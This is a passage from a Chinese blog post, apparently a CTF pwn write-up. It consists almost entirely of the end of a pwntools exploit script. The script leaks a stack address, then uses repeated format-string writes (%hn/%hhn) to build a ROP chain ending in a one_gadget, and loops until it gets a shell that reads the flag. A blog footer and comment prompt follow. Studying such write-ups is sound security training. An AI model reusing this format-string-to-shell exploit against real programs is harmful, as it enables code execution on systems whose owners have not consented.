    p.send(payload)
    p.recvuntil(b'0x')
    stack_addr = int(p.recv(12), 16)
    stack_addr_0_2 = int(str(hex(stack_addr))[10:14], 16)
    d = stack_addr_0_2 - (0x188 - 0x98) # 这里需要取4位因为可能存在向前进位的情况

    # 博主环境有些问题,d太大程序会莫名挂掉所以写了个循环来判断
    if d > 10000:
        return 1
    
    # 第一次修改,修改指针
    def change1(addr, i):
        pay = '%' + str(addr + i) + 'c%9$hn\00'
        p.sendline(pay)
        p.recv()
        
    # 第二次修改,修改内存
    def change2(num):
        pay = '%' + str(num) + 'c%37$hhn\00'
        p.sendline(pay)
        p.recv()

    # pop_r12_r13_r14_r15
    change1(d, 5)
    change2(0x100)
    change1(d, 4)
    change2(0x100)
    change1(d, 3)
    change2(0x100)
    change1(d, 2)
    change2(0x40)
    change1(d, 1)
    change2(0x13)
    change1(d, 0)
    change2(0x9c)

    # 0 * 4, 其中一个0最后再修改
    d = d + 8
    change1(d, 5)
    change2(0x100)
    change1(d, 4)
    change2(0x100)
    change1(d, 3)
    change2(0x100)
    change1(d, 2)
    change2(0x100)
    change1(d, 1)
    change2(0x100)
    change1(d, 0)
    change2(0x100)

    d = d + 16
    change1(d, 5)
    change2(0x100)
    change1(d, 4)
    change2(0x100)
    change1(d, 3)
    change2(0x100)
    change1(d, 2)
    change2(0x100)
    change1(d, 1)
    change2(0x100)
    change1(d, 0)
    change2(0x100)

    d = d + 8
    change1(d, 5)
    change2(0x100)
    change1(d, 4)
    change2(0x100)
    change1(d, 3)
    change2(0x100)
    change1(d, 2)
    change2(0x100)
    change1(d, 1)
    change2(0x100)
    change1(d, 0)
    change2(0x100)

    # one_gadget
    d = d + 8
    change1(d, 5)
    change2(one_gadget_add_1112)
    change1(d, 4)
    change2(one_gadget_add_910)
    change1(d, 3)
    change2(one_gadget_add_78)
    change1(d, 2)
    change2(one_gadget_add_56)
    change1(d, 1)
    change2(one_gadget_add_34)
    change1(d, 0)
    change2(one_gadget_add_12)

    # 指回第二个0
    d = d - 8
    change1(d, 0)

    payload = b'exit'
    p.send(payload)

    p.sendline(b'cat flag')
    p.interactive()

    return 0


flag = 1
while True:
    flag = play()
    if flag == 0:
        break

 

- THE END -

T1d

7月30日16:22

最后修改:2023年7月30日
1

非特殊说明,本博所有文章均为博主原创。

共有 0 条评论

您必须 后可评论